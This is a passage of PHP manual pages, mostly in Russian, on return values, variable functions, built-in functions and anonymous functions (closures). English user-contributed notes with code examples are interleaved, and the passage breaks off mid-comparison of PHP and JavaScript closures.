The best approach, it seems to me, is to always use a sentinel like null as the default value of an optional argument.  This way, callers like g and g's clients have many options, and furthermore, callers always know how to omit arguments so they can omit one in the middle of the parameter list.

<?php
function f( $x = null ) { if ( !isset( $x ) ) $x = 4; echo $x . "\\n"; }

function g( $x = null ) { f( $x ); f( $x ); }

f(); // prints 4
f( null ); // prints 4
f( $y ); // $y undefined, prints 4
g(); // prints 4 twice
g( null ); // prints 4 twice
g( 5 ); // prints 5 twice

?>
Sergio Santana: ssantana at tlaloc dot imta dot mx 31-Oct-2005 02:59
PASSING A "VARIABLE-LENGTH ARGUMENT LIST OF REFERENCES" TO A FUNCTION
As of PHP 5, Call-time pass-by-reference has been deprecated, this represents no problem in most cases, since instead of calling a function like this:
   myfunction($arg1, &$arg2, &$arg3);

you can call it
   myfunction($arg1, $arg2, $arg3);

provided you have defined your function as
   function myfuncion($a1, &$a2, &$a3) { // so &$a2 and &$a3 are
                                                             // declared to be refs.
    ... <function-code>
   }

However, what happens if you wanted to pass an undefined number of references, i.e., something like:
   myfunction(&$arg1, &$arg2, ..., &$arg-n);?
This doesn't work in PHP 5 anymore.

In the following code I tried to amend this by using the
array() language-construct as the actual argument in the
call to the function.

<?php

  function aa ($A) {
    // This function increments each
    // "pseudo-argument" by 2s
    foreach ($A as &$x) {
      $x += 2;
    }
  }

  $x = 1; $y = 2; $z = 3;

  aa(array(&$x, &$y, &$z));
  echo "--$x--$y--$z--\n";
  // This will output:
  // --3--4--5--
?>

I hope this is useful.

Sergio.


Возврат значений

Значения возвращаются при помощи необязательного оператора возврата. Возвращаемые значения могут быть любого типа, в том числе это могут быть массивы и объекты. Возврат приводит к завершению выполнения функции и передаче управления обратно к той строке кода, в которой данная функция была вызвана. Для получения более детальной информации ознакомьтесь с описанием return.

Замечание:

Если конструкция return не указана, то функция вернёт значение null.

Использование выражения return

Пример #1 Использование конструкции return

<?php
function square($num)
{
return $num * $num;
}
echo square(4); // выводит '16'.
?>

Функция не может возвращать несколько значений, но аналогичного результата можно добиться, возвращая массив.

Пример #2 Возврат нескольких значений в виде массива

<?php
function small_numbers()
{
return [0, 1, 2];
}
// Деструктуризация массива будет собирать каждый элемент массива индивидуально
[$zero, $one, $two] = small_numbers();

// До версии 7.1.0 единственной эквивалентной альтернативой было использование конструкции list().
list($zero, $one, $two) = small_numbers();

?>

Для того, чтобы функция возвращала результат по ссылке, вам необходимо использовать оператор & и при описании функции, и при присвоении переменной возвращаемого значения:

Пример #3 Возврат результата по ссылке

<?php
function &returns_reference()
{
return $someref;
}

$newref =& returns_reference();
?>

Для получения более детальной информации о ссылках обратитесь к разделу документации Подробно о ссылках.

User Contributed Notes

php(@)genjo(DOT)fr 21-Oct-2019 08:40
Declaring a collection of objects as return type is not implemented and forbidden:
<?php
class Child{}

function getChilds(): Child[]
{
    return [(new Child()), (new Child())];
}

var_dump(getChilds());
// Returns:  Parse error: syntax error, unexpected '[', expecting '{'
?>

We have to use:
<?php
class Child{}

function getChilds(): array
{
    return [(new Child()), (new Child())];
}

var_dump(getChilds());
// Returns:
/*
array (size=2)
  0 =>
    object(Child)[168]
  1 =>
    object(Child)[398]
*/
?>

Idem for function parameter:
<?php
function setChilds(Child[] $childs){}
// Not allowed

function setChilds(array $childs){}
// Allowed
?>
Berniev 07-May-2018 02:20
Be careful when introducing return types to your code.

Only one return type can be specified (but prefacing with ? allows null).

Return values of a type different to that specified are silently converted with sometimes perplexing results. These can be tedious to find and will need rewriting, along with calling code.

Declare strict types using "declare(strict_types=1);" and an error will be generated, saving much head-scratching.
zored dot box at gmail dot com 26-Feb-2018 03:54
You may specify child return type if there is no parent:

<?php

class A {
    public function f ($a)
    {
        return 1;
    }
}

class B extends A {
    public function f ($a): int // + return type, OK
    {
        return 1;
    }
}

class C extends A {
    public function f (int $a) // + argument type, WARNING
    {
        return 1;
    }
}
?>
ryan dot jentzsch at gmail dot com 02-Jan-2017 06:40
PHP 7.1 allows for void and null return types by preceding the type declaration with a ? -- (e.g. function canReturnNullorString(): ?string)

However resource is not allowed as a return type:

<?php
function fileOpen(string $fileName, string $mode): resource
{
    $handle = fopen($fileName, $mode);
    if ($handle !== false)
    {
        return $handle;
    }
}

$resourceHandle = fileOpen("myfile.txt", "r");
?>

Errors with:
Fatal error: Uncaught TypeError: Return value of fileOpen() must be an instance of resource, resource returned.
k-gun !! mail 19-Dec-2016 10:50
With 7.1, these are possible yet;

<?php
function ret_void(): void {
    // do something but no return any value
    // if needs to break fn exec for any reason simply write return;
    if (...) {
        return; // break
        // return null; // even this NO!
    }

    $db->doSomething();
    // no need return call anymore
}

function ret_nullable() ?int {
    if (...) {
        return 123;
    } else {
        return null; // MUST!
    }
}
?>
Vidmantas Maskoliunas 17-Apr-2016 10:58
Note: the function does not have "alternative syntax" as if/endif, while/endwhile, and colon (:) here is used to define returning type and not to mark where the block statement begins.
ryan dot jentzsch at gmail dot com 30-Aug-2015 06:12
PHP 7 return types if specified can not return a null.
For example:
<?php
declare(strict_types=1);

function add2ints(int $x, int $y):int
{
    $z = $x + $y;
    if ($z===0)
    {
        return null;
    }
    return $z;
}
$a = add2ints(3, 4);
echo is_null($a) ? 'Null' : $a;
$b = add2ints(-2, 2);
echo is_null($b) ? 'Null' : $b;
exit();

Output:
7
Process finished with exit code 139
rstaveley at seseit dot com 29-Aug-2010 01:26
Developers with a C background may expect pass by reference semantics for arrays. It may be surprising that  pass by value is used for arrays just like scalars. Objects are implicitly passed by reference.

<?php

# (1) Objects are always passed by reference and returned by reference

class Obj {
    public $x;
}

function obj_inc_x($obj) {
    $obj->x++;
    return $obj;
}

$obj = new Obj();
$obj->x = 1;

$obj2 = obj_inc_x($obj);
obj_inc_x($obj2);

print $obj->x . ', ' . $obj2->x . "\n";

# (2) Scalars are not passed by reference or returned as such

function scalar_inc_x($x) {
    $x++;
    return $x;
}

$x = 1;

$x2 = scalar_inc_x($x);
scalar_inc_x($x2);

print $x . ', ' . $x2 . "\n";

# (3) You have to force pass by reference and return by reference on scalars

function &scalar_ref_inc_x(&$x) {
    $x++;
    return $x;
}

$x = 1;

$x2 =& scalar_ref_inc_x($x);    # Need reference here as well as the function sig
scalar_ref_inc_x($x2);

print $x . ', ' . $x2 . "\n";

# (4) Arrays use pass by value sematics just like scalars

function array_inc_x($array) {
    $array{'x'}++;
    return $array;
}

$array = array();
$array['x'] = 1;

$array2 = array_inc_x($array);
array_inc_x($array2);

print $array['x'] . ', ' . $array2['x'] . "\n";

# (5) You have to force pass by reference and return by reference on arrays

function &array_ref_inc_x(&$array) {
    $array{'x'}++;
    return $array;
}

$array = array();
$array['x'] = 1;

$array2 =& array_ref_inc_x($array); # Need reference here as well as the function sig
array_ref_inc_x($array2);

print $array['x'] . ', ' . $array2['x'] . "\n";
bgalloway at citycarshare dot org 27-Mar-2008 06:27
Be careful about using "do this thing or die()" logic in your return lines.  It doesn't work as you'd expect:

<?php
function myfunc1() {
    return('thingy' or die('otherthingy'));
}
function myfunc2() {
    return 'thingy' or die('otherthingy');
}
function myfunc3() {
    return('thingy') or die('otherthingy');
}
function myfunc4() {
    return 'thingy' or 'otherthingy';
}
function myfunc5() {
    $x = 'thingy' or 'otherthingy'; return $x;
}
echo myfunc1(). "\n". myfunc2(). "\n". myfunc3(). "\n". myfunc4(). "\n". myfunc5(). "\n";
?>

Only myfunc5() returns 'thingy' - the rest return 1.
nick at itomic.com 04-Aug-2003 12:56
Functions which return references, may return a NULL value. This is inconsistent with the fact that function parameters passed by reference can't be passed as NULL (or in fact anything which isnt a variable).

i.e.

<?php

function &testRet()
{
    return NULL;
}

if (testRet() === NULL)
{
    echo "NULL";
}
?>

parses fine and echoes NULL


Обращение к функциям через переменные

PHP поддерживает концепцию переменных функций. Это означает, что если к имени переменной присоединены круглые скобки, PHP ищет функцию с тем же именем, что и результат вычисления переменной, и пытается её выполнить. Эту возможность можно использовать для реализации обратных вызовов, таблиц функций и множества других вещей.

Переменные функции не будут работать с такими языковыми конструкциями как echo, print, unset(), isset(), empty(), include, require и т.п. Вам необходимо реализовать свою функцию-обёртку для того, чтобы приведённые выше конструкции могли работать с переменными функциями.

Пример #1 Работа с функциями посредством переменных

<?php
function foo() {
echo "В foo()<br />\n";
}

function bar($arg = '')
{
echo "В bar(); аргумент был '$arg'.<br />\n";
}

// Функция-обёртка для echo
function echoit($string)
{
echo $string;
}

$func = 'foo';
$func(); // Вызывает функцию foo()

$func = 'bar';
$func('test'); // Вызывает функцию bar()

$func = 'echoit';
$func('test'); // Вызывает функцию echoit()
?>

Вы также можете вызвать методы объекта используя возможности PHP для работы с переменными функциями.

Пример #2 Обращение к методам класса посредством переменных

<?php
class Foo
{
function Variable()
{
$name = 'Bar';
$this->$name(); // Вызываем метод Bar()
}

function Bar()
{
echo "Это Bar";
}
}

$foo = new Foo();
$funcname = "Variable";
$foo->$funcname(); // Обращаемся к $foo->Variable()

?>

При вызове статических методов вызов функции "сильнее", чем оператор доступа к статическому свойству:

Пример #3 Пример вызова переменного метода со статическим свойством

<?php
class Foo
{
static $variable = 'статическое свойство';
static function Variable()
{
echo 'Вызов метода Variable';
}
}

echo Foo::$variable; // Это выведет 'статическое свойство'. Переменная $variable будет разрешена в этой области видимости.
$variable = "Variable";
Foo::$variable(); // Это вызовет $foo->Variable(), прочитав $variable из этой области видимости.

?>

Пример #4 Сложные callable-функции

<?php
class Foo
{
static function bar()
{
echo "bar\n";
}
function baz()
{
echo "baz\n";
}
}

$func = array("Foo", "bar");
$func(); // выведет "bar"
$func = array(new Foo, "baz");
$func(); // выведет "baz"
$func = "Foo::bar";
$func(); // выведет "bar"
?>

Смотрите также

  • is_callable()
  • call_user_func()
  • function_exists()
  • переменные переменных

User Contributed Notes

anisgazig at gmail dot com 19-Feb-2022 06:38
<?php
static bar method works with statically or non statically wherese non static method could not work statically

//non static method
class myCls{
    public function  foo(){
        echo "foo function";
    }
    static public function bar(){
        echo "static bar function";

    }
}

$a = new myCls;
$myf = "foo";
$a->$myf();//works
echo "\n";

$a = [new myCls,"foo"];//works
$a();
echo "\n";
//$a = ["myCls","foo"];//fatal error
//$a();
echo "\n";
//$a = "myCls::foo";//fatal error
//$a();
echo "\n";

//static method called with statically or nonstatically
$b = new myCls;
$myf = "bar";
$b->$myf();//works
echo "\n";

$b = [new myCls,"bar"];//works
$b();
echo "\n";

$b = "myCls::bar";//works
$b();
echo "\n";

$b = ["myCls","bar"];//works
$b();
echo "\n";
Anonymous 23-May-2020 05:26
If you are here looking for a function reference, this is NOT how to do it:

<?php
 function func1(){ echo "hell0 1";}
 $choice = func1; // no quotes
?>

It works, but $choice is not what you might think, a reference to a function. It is simply the name of the function as a string, written without (!) quotes.

It's  the same as
<?php
 $choice = "func1"; // with quotes
?>

You can do echo gettype($choice) to confirm.

So calling
<?php
 $choice()
?>
is a variable-function for both cases, calling it by its name, not by reference.

Go via an assigned anonymous function to get a reference to the function:
<?php
 $func1 = function(){ echo "hell0 1";}
 $func1 = function(){ echo "hell0 2";}
?>

Now you can pass around the function like a first class object
<?php
 $choice = $func1;
?>
or
<?php
 $choice = $func2;
?>
and call it
<?php
 $choice();
?>

If you want to pass around a class method, use the "Complex callables" from the manual, above. It's a call by name (not a reference), but since you can include the object you can still get the flexibility you want:

<?php
 class C {
      function k(){ echo "inside k";}
      function j(){ echo "inside j"; return  array($this,"k");}};
?>

You can use $this as the object in the first element of the array.
<?php
 $c = new C;
 $c->k();
 inside k

 $func = $c->j();
 inside j
?>
And now, le moment supreme:
<?php
 $func();
 inside k
?>
rnealxp at yahoo dot com 16-May-2020 01:17
<?php
/*
You might have found yourself at this php variable functions page because, like me, you wanted to pass functions
around like objects to client objects as you can in JavaScript. The issue I ran into was although
I could call a function using a variable like this " $v(); "...I could not do it like this " $obj->p() " where
'p' is a property containing the name of the method to call. Did not want to save my property off to a variable prior
to making my call: " $v = $obj->p; $v(); "; even if one finds a way, the below applies...

I credit this expanded work to this person: tatarynowicz at gmail dot com;
without them I would not have gotten here.
*/
interface iface_dynamic_members{
    //Use of this interface enables type-hinting for objects that implement it.
    public function __call($name, $args);
    public function __set($name, $value);
    public function quietly_fail():bool;
}
trait trait_has_dynamic_members{
    //Implementing these magic methods in the form of a trait, frees the client object up
    //so it can still inherit from a parent-class.
    public function __call($name, $args) {
        if (is_callable($this->$name)) {
            return call_user_func($this->$name, $args);
        }
        else {
            //Your dynamic-membered object can declare itself as willing to ignore non-existent method calls or not.
            if($this->quietly_fail()===true){
                echo 'Method does not exist, but I do not mind.';
            }else{
                echo 'Method does not exist, I consider this a bug.';
            }
        }
    }
    public function __set($name, $value) {
        $this->$name = is_callable($value) ? $value->bindTo($this, $this): $value; //Assignment using ternary operator.
    }
}
abstract class MBR_ATTR{
    //A class full of attributes that objects can take on; abstract since not to be instantiated (If I could make it "final" as well, I would).
    public static function is_a_walker(iface_dynamic_members $obj, ?string $walker_type='normal pace'){
        $obj->walker_type = $walker_type;
        $obj->walker_walk = function() {
            return "I am walking {$this->walker_type}.";
        };
    }
    public static function is_a_runner(iface_dynamic_members $obj, string $runner_type){
        $obj->runner_type = $runner_type;
        $obj->runner_run = function() {
            return "I am running {$this->runner_type}.";
        };
        self::is_a_walker($obj); //If can run, also can walk.
    }
}
class cls_partly_dynamic implements iface_dynamic_members{
    use trait_has_dynamic_members;
    public function quietly_fail():bool{
        return true;
    }
}
// Report all errors except E_NOTICE
error_reporting(E_ALL & ~E_NOTICE); //Enable all error-reporting except notices.
//----
//config runner object...
$obj_runner = new cls_partly_dynamic();
MBR_ATTR::is_a_runner($obj_runner, 'fast');
$obj_runner->runner_type = 'a bit slow';
//----
//config walker object...
$obj_walker = new cls_partly_dynamic();
MBR_ATTR::is_a_walker($obj_walker, 'slow');
$obj_walker->walker_type = 'super fast';
//----
//Do stuff...
echo 'walker in action...' . '<br>';
echo $obj_walker->walker_walk() . '<br>';
echo '<br>';
echo 'runner in action...' . '<br>';
echo $obj_runner->walker_walk() . '<br>';
echo $obj_runner->runner_run() . '<br>';
echo $obj_runner->xxx() . '<br>'; //Try calling a non-existent method.
//I would agree that the above approach/technique is not always ideal, particulary due to the loss of code-completion in your
//IDE of choice; I would tend to use this approach for dynamic-programming in response to the user dictating processing steps via a UI.
?>
niemans at pbsolo dot nl 19-Mar-2019 11:28
While the documentation suggests that the use of a constant is similar to the use of a variable, there is an exception regarding variable functions. You cannot use a constant as the function name to call a variable function.

const DEBUGME ='func';
function func($s) { echo $s. "\n"; }

DEBUGME('abc');  // results in a syntax error

$call = DEBUGME;
$call('abc');          // does the job

But you can use a constant as an argument to a function. Here's a simple workaround when you need to call a variable constant function:

function dynamic($what, $with)
   {
     $what($with);
   }
dynamic(DEBUGME, 'abc');

This makes sense to me to hide API's and/or long (complicated) static calls.
Enjoy!
josh at joshstroup dot xyz 21-Apr-2016 05:58
A small, but helpful note. If you are trying to call a static function from a different namespace, you must use the fully qualified namespace, even if they have the same top level namespace(s). For example if you have the following class to call:

<?php
namespace Project\TestClass;
class Test {
    static function funcToCall() {
        return "test";
    }
}
?>
You must call it as:
<?php
namespace Project\OtherTestClass;
class OtherTest {
    static function callOtherFunc() {
        $func = '\Project\TestClass::funcToCall';
        $func();
    }
}
?>
and not:
<?php
class OtherTest {
    static function callOtherFunc() {
        $func = 'TestClass::funcToCall';
        $func();
    }
}
?>
Anonymous 27-Jun-2011 11:20
$ wget http://www.php.net/get/php_manual_en.tar.gz/from/a/mirror
$ grep -l "\$\.\.\." php-chunked-xhtml/function.*.html

List of functions that accept variable arguments.
<?php
array_diff_assoc()
array_diff_key()
array_diff_uassoc()
array()
array_intersect_ukey()
array_map()
array_merge()
array_merge_recursive()
array_multisort()
array_push()
array_replace()
array_replace_recursive()
array_unshift()
call_user_func()
call_user_method()
compact()
dba_open()
dba_popen()
echo()
forward_static_call()
fprintf()
fscanf()
httprequestpool_construct()
ibase_execute()
ibase_set_event_handler()
ibase_wait_event()
isset()
list()
maxdb_stmt_bind_param()
maxdb_stmt_bind_result()
mb_convert_variables()
newt_checkbox_tree_add_item()
newt_grid_h_close_stacked()
newt_grid_h_stacked()
newt_grid_v_close_stacked()
newt_grid_v_stacked()
newt_win_choice()
newt_win_entries()
newt_win_menu()
newt_win_message()
newt_win_ternary()
pack()
printf()
register_shutdown_function()
register_tick_function()
session_register()
setlocale()
sprintf()
sscanf()
unset()
var_dump()
w32api_deftype()
w32api_init_dtype()
w32api_invoke_function()
wddx_add_vars()
wddx_serialize_vars()
?>


Встроенные функции

В самом PHP содержится достаточно большое количество встроенных функций и языковых конструкций. Также есть функции, которые требуют, чтобы PHP был собран с определёнными модулями, в противном случае будут генерироваться фатальные ошибки, вызванные использованием неизвестной функции. Например, для того чтобы использовать функции для работы с изображениями, например, imagecreatetruecolor(), необходимо собрать PHP с поддержкой GD. Или же для того, чтобы воспользоваться функцией mysqli_connect(), необходима поддержка модуля MySQLi. Тем не менее, есть много встроенных функций, которые доступны всегда: например, функции обработки строк и функции для работы с переменными. Вызвав phpinfo() или get_loaded_extensions(), можно узнать, поддержка каких модулей есть в используемом PHP. Также следует учесть, что поддержка некоторых дополнительных модулей включена по умолчанию, и что сама документация к PHP разбита по модулям. Ознакомьтесь с разделами Конфигурация, Установка, а также с документацией непосредственно к дополнительным модулям для получения более детальной информации о том, как настроить PHP.

Более подробную информацию о том, как следует читать и интерпретировать прототипы функций, вы можете найти в разделе Как читать определения функции. Очень важно понимать, что возвращает функция, или как именно она модифицирует передаваемые аргументы. Например, функция str_replace() возвращает модифицированную строку, в то время как функция usort() работает с фактически переданной переменной. Каждая страница документации также содержит информацию, которая специфична для данной функции, например, информацию о передаваемых параметрах, изменениях в поведении, возвращаемых значениях в случае как удачного, так и неудачного выполнения, доступности функции в различных версиях. Знание и применение этих (порой даже незаметных) нюансов очень важно для написания корректного PHP-кода.

Замечание: Если в функцию передаются не те аргументы, которые она ожидает, например, массив (array) вместо строки (string), возвращаемое значение функции не определено. Скорее всего в этом случае будет возвращён null, но это просто соглашение, на него нельзя полагаться. Начиная с PHP 8.0.0, в этом случае должно быть выброшено исключение TypeError.

Замечание:

Скалярные типы для встроенных функций по умолчанию являются допускающими значение null в принудительном режиме. Начиная с PHP 8.1.0, передача null в параметр встроенной функции, который не объявлен как допускающий значение null, не рекомендуется и в принудительном режиме выдаётся уведомление об устаревании, чтобы соответствовать поведению пользовательских функций, где скалярные типы должны быть явно помечены как допускающие значение null.

Например, функция strlen() ожидает, что параметр $string будет строкой (string), не допускающей значение null. По историческим причинам PHP позволяет передавать null для этого параметра в принудительном режиме и параметр неявно приводится к строке (string), в результате чего получается значение "". В строгом режиме выбрасывается исключение TypeError.

<?php
var_dump(strlen(null));
// "Deprecated: Passing null to parameter #1 ($string) of type string is deprecated" начиная с PHP 8.1.0
// int(0)

var_dump(str_contains("foobar", null));
// "Deprecated: Passing null to parameter #2 ($needle) of type string is deprecated" начиная с PHP 8.1.0
// bool(true)
?>

Смотрите также

  • function_exists()
  • справочник функций
  • get_extension_funcs()
  • dl()

User Contributed Notes

There are no user contributed notes for this page.


Анонимные функции

Анонимные функции, также известные как замыкания (closures), позволяют создавать функции, не имеющие определённых имён. Они наиболее полезны в качестве значений callable-параметров, но также могут иметь и множество других применений.

Анонимные функции реализуются с использованием класса Closure.

Пример #1 Пример анонимной функции

<?php
echo preg_replace_callback('~-([a-z])~', function ($match) {
return strtoupper($match[1]);
}, 'hello-world');
// выведет helloWorld
?>

Замыкания также могут быть использованы в качестве значений переменных; PHP автоматически преобразует такие выражения в экземпляры внутреннего класса Closure. Присвоение замыкания переменной использует тот же синтаксис, что и для любого другого присвоения, включая завершающую точку с запятой:

Пример #2 Пример присвоения анонимной функции переменной

<?php
$greet = function($name) {
printf("Привет, %s\r\n", $name);
};

$greet('Мир');
$greet('PHP');
?>

Замыкания могут также наследовать переменные из родительской области видимости. Любая подобная переменная должна быть объявлена в конструкции use. Начиная с PHP 7.1, эти переменные не должны включать superglobals, $this и переменные с теми же именами, что и параметры функции. Объявление типа возвращаемого значения функции должно быть помещено после конструкции use.

Пример #3 Наследование переменных из родительской области видимости

<?php
$message = 'привет';

// Без "use"
$example = function () {
var_dump($message);
};
$example();

// Наследуем $message
$example = function () use ($message) {
var_dump($message);
};
$example();

// Значение унаследованной переменной задано там, где функция определена,
// но не там, где вызвана
$message = 'мир';
$example();

// Сбросим message
$message = 'привет';

// Наследование по ссылке
$example = function () use (&$message) {
var_dump($message);
};
$example();

// Изменённое в родительской области видимости значение
// остаётся тем же внутри вызова функции
$message = 'мир';
echo $example();

// Замыкания могут принимать обычные аргументы
$example = function ($arg) use ($message) {
var_dump($arg . ', ' . $message);
};
$example("привет");

// Объявление типа возвращаемого значения идет после конструкции use
$example = function () use ($message): string {
return "привет, $message";
};
var_dump($example());
?>

Результатом выполнения данного примера будет что-то подобное:

Notice: Undefined variable: message in /example.php on line 6
NULL
string(12) "привет"
string(12) "привет"
string(12) "привет"
string(6) "мир"
string(20) "привет, мир"
string(20) "привет, мир"

Начиная с PHP 8.0.0, список наследуемых переменных может завершаться запятой, которая будет проигнорирована.

Наследование переменных из родительской области видимости не то же самое, что использование глобальных переменных. Глобальные переменные существуют в глобальной области видимости, которая не меняется, вне зависимости от того, какая функция выполняется в данный момент. Родительская область видимости - это функция, в которой было объявлено замыкание (не обязательно та же самая, из которой оно было вызвано). Смотрите следующий пример:

Пример #4 Замыкания и область видимости

<?php
// Базовая корзина покупок, содержащая список добавленных
// продуктов и количество каждого продукта. Включает метод,
// вычисляющий общую цену элементов корзины с помощью
// callback-замыкания.
class Cart
{
const PRICE_BUTTER = 1.00;
const PRICE_MILK = 3.00;
const PRICE_EGGS = 6.95;

protected $products = array();

public function add($product, $quantity)
{
$this->products[$product] = $quantity;
}

public function getQuantity($product)
{
return isset($this->products[$product]) ? $this->products[$product] :
FALSE;
}

public function getTotal($tax)
{
$total = 0.00;

$callback =
function ($quantity, $product) use ($tax, &$total)
{
$pricePerItem = constant(__CLASS__ . "::PRICE_" .
strtoupper($product));
$total += ($pricePerItem * $quantity) * ($tax + 1.0);
};

array_walk($this->products, $callback);
return round($total, 2);
}
}

$my_cart = new Cart;

// Добавляем несколько элементов в корзину
$my_cart->add('butter', 1);
$my_cart->add('milk', 3);
$my_cart->add('eggs', 6);

// Выводим общую сумму с 5% налогом на продажу.
print $my_cart->getTotal(0.05) . "\n";
// Результатом будет 54.29
?>

Пример #5 Автоматическое связывание $this

<?php

class Test
{
public function testing()
{
return function() {
var_dump($this);
};
}
}

$object = new Test;
$function = $object->testing();
$function();

?>

Результат выполнения данного примера:

object(Test)#1 (0) {
}

При объявлении в контексте класса, текущий класс будет автоматически связан с ним, делая $this доступным внутри функций класса. Если вы не хотите автоматического связывания с текущим классом, используйте статические анонимные функции.

Статические анонимные функции

Анонимные функции могут быть объявлены статически. Это предотвратит их автоматическое связывание с текущим классом. Объекты также не будут с ними связаны во время выполнения.

Пример #6 Попытка использовать $this в статической анонимной функции

<?php

class Foo
{
function __construct()
{
$func = static function() {
var_dump($this);
};
$func();
}
};
new Foo();

?>

Результат выполнения данного примера:

Notice: Undefined variable: this in %s on line %d
NULL

Пример #7 Попытка связать объект со статической анонимной функцией

<?php

$func = static function() {
// тело функции
};
$func = $func->bindTo(new stdClass);
$func();

?>

Результат выполнения данного примера:

Warning: Cannot bind an instance to a static closure in %s on line %d

Список изменений

Версия | Описание
7.1.0 | Анонимные функции не могут замыкаться вокруг superglobals, $this или любой переменной с тем же именем, что и параметр.

Примечания

Замечание: Внутри замыканий можно использовать функции func_num_args(), func_get_arg() и func_get_args().

User Contributed Notes

Hayley Watson 13-Oct-2023 11:46
"If this automatic binding of the current class is not wanted, then static anonymous functions may be used instead. "

The main reason why you would not want automatic binding is that as long as the Closure object created for the anonymous function exists, it retains a reference to the object that spawned it, preventing the object from being destroyed, even if the object is no longer alive anywhere else in the program, and even if the function itself doesn't use $this.

<?php

class Foo
{
    public function __construct(private string $id)
    {
        echo "Creating Foo " . $this->id, "\n";
    }
    public function gimme_function()
    {
        return function(){};
    }
    public function gimme_static_function()
    {
        return static function(){};
    }
    public function __destruct()
    {
        echo "Destroying Foo " . $this->id, "\n";
    }
}

echo "An object is destroyed as soon as its last reference is removed.\n";
$t = new Foo('Alice');
$t = new Foo('Bob'); // Causes Alice to be destroyed.
// Now destroy Bob.
unset($t);
echo "---\n";

echo "A non-static anonymous function retains a reference to the object which created it.\n";
$u = new Foo('Carol');
$ufn = $u->gimme_function();
$u = new Foo('Daisy'); // Does not cause Carol to be destroyed,
                       // because there is still a reference to
                       // it in the function held by $ufn.
unset($u); // Causes Daisy to be destroyed.
echo "---\n"; // Note that Carol hasn't been destroyed yet.

echo "A static anonymous function does not retain a reference to the object which created it.\n";
$v = new Foo('Eve');
$vfn = $v->gimme_static_function();
$v = new Foo('Farid'); // The function held by $vfn does not
                       // hold a reference to Eve, so Eve does get destroyed here.
unset($v); // Destroy Farid
echo "---\n";
// And then the program finishes, discarding any references to any objects still alive
// (specifically, Carol).
?>

Because $ufn survived to the end of the end of the program, Carol survived as well. $vfn also survived to the end of the program, but the function it contained was declared static, so didn't retain a reference to Eve.

Anonymous functions that retain references to otherwise-dead objects are therefore a potential source of memory leaks. If the function has no use for the object that spawned it, declaring it static prevents it from causing the object to outlive its usefulness.
jake dot tunaley at berkeleyit dot com 07-Jan-2019 05:04
Beware of using $this in anonymous functions assigned to a static variable.

<?php
class Foo {
    public function bar() {
        static $anonymous = null;
        if ($anonymous === null) {
            // Expression is not allowed as static initializer workaround
            $anonymous = function () {
                return $this;
            };
        }
        return $anonymous();
    }
}

$a = new Foo();
$b = new Foo();
var_dump($a->bar() === $a); // True
var_dump($b->bar() === $a); // Also true
?>

In a static anonymous function, $this will be the value of whatever object instance that method was called on first.

To get the behaviour you're probably expecting, you need to pass the $this context into the function.

<?php
class Foo {
    public function bar() {
        static $anonymous = null;
        if ($anonymous === null) {
            // Expression is not allowed as static initializer workaround
            $anonymous = function (self $thisObj) {
                return $thisObj;
            };
        }
        return $anonymous($this);
    }
}

$a = new Foo();
$b = new Foo();
var_dump($a->bar() === $a); // True
var_dump($b->bar() === $a); // False
?>
dexen dot devries at gmail dot com 07-Jun-2018 09:54
Every instance of a lambda has own instance of static variables. This provides for great event handlers, accumulators, etc., etc.

Creating new lambda with function() { ... }; expression creates new instance of its static variables. Assigning a lambda to a variable does not create a new instance. A lambda is object of class Closure, and assigning lambdas to variables has the same semantics as assigning object instance to variables.

Example script: $a and $b have separate instances of static variables, thus produce different output. However $b and $c share their instance of static variables - because $c is refers to the same object of class Closure as $b - thus produce the same output.

#!/usr/bin/env php
<?php

function generate_lambda() : Closure
{
        # creates new instance of lambda
    return function($v = null) {
        static $stored;
        if ($v !== null)
            $stored = $v;
        return $stored;
    };
}

$a = generate_lambda();  # creates new instance of statics
$b = generate_lambda();  # creates new instance of statics
$c = $b;                                 # uses the same instance of statics as $b

$a('test AAA');
$b('test BBB');
$c('test CCC');  # this overwrites content held by $b, because it refers to the same object

var_dump([ $a(), $b(), $c() ]);
?>

This test script outputs:
array(3) {
  [0]=>
  string(8) "test AAA"
  [1]=>
  string(8) "test CCC"
  [2]=>
  string(8) "test CCC"
}
toonitw at gmail dot com 27-Dec-2017 05:40
As of PHP 7.0, you can use IIFE(Immediately-invoked function expression) by wrapping your anonymous function with ().

<?php
$type = 'number';
var_dump( ...( function() use ($type) {
    if ($type=='number') return [1,2,3];
    else if ($type=='alphabet') return ['a','b','c'];
} )() );
?>
ayon at hyurl dot com 29-Apr-2017 05:35
One way to call a anonymous function recursively is to use the USE keyword and pass a reference to the function itself:

<?php
$count = 1;
$add = function($count) use (&$add){
    $count += 1;
    if($count < 10) $count = $add($count); //recursive calling
    return $count;
};
echo $add($count); //Will output 10 as expected
?>
john at binkmail dot com 07-Feb-2017 07:36
PERFORMANCE BENCHMARK 2017!

I decided to compare a single, saved closure against constantly creating the same anonymous closure on every loop iteration. And I tried 10 million loop iterations, in PHP 7.0.14 from Dec 2016. Result:

a single saved closure kept in a variable and re-used (10000000 iterations): 1.3874590396881 seconds

new anonymous closure created each time (10000000 iterations): 2.8460240364075 seconds

In other words, over the course of 10 million iterations, creating the closure again during every iteration only added a total of "1.459 seconds" to the runtime. So that means that every creation of a new anonymous closure takes about 146 nanoseconds on my 7 years old dual-core laptop. I guess PHP keeps a cached "template" for the anonymous function and therefore doesn't need much time to create a new instance of the closure!

So you do NOT have to worry about constantly re-creating your anonymous closures over and over again in tight loops! At least not as of PHP 7! There is absolutely NO need to save an instance in a variable and re-use it. And not being restricted by that is a great thing, because it means you can feel free to use anonymous functions exactly where they matter, as opposed to defining them somewhere else in the code. :-)
erolmon dot kskn at gmail dot com 19-Jun-2015 09:48
<?php
    /*
    (string) $name Name of the function that you will add to class.
    Usage : $Foo->add(function(){},$name);
    This will add a public function in Foo Class.
    */
    class Foo
    {
        public function add($func,$name)
        {
            $this->{$name} = $func;
        }
        public function __call($func,$arguments){
            call_user_func_array($this->{$func}, $arguments);
        }
    }
    $Foo = new Foo();
    $Foo->add(function(){
        echo "Hello World";
    },"helloWorldFunction");
    $Foo->add(function($parameterone){
        echo $parameterone;
    },"exampleFunction");
    $Foo->helloWorldFunction(); /*Output : Hello World*/
    $Foo->exampleFunction("Hello PHP"); /*Output : Hello PHP*/
?>
mail at mkharitonov dot net 20-Feb-2014 11:20
Some comparisons of PHP and JavaScript closures.

=== Example 1 (passing by value) ===
PHP code:
<?php
$aaa = 111;
$func = function() use($aaa){ print $aaa; };
$aaa = 222;
$func(); // Outputs "111"
?>

Similar JavaScript code:
<script type="text/javascript">
var aaa = 111;
var func = (function(aaa){ return function(){ alert(aaa); } })(aaa);
aaa = 222;
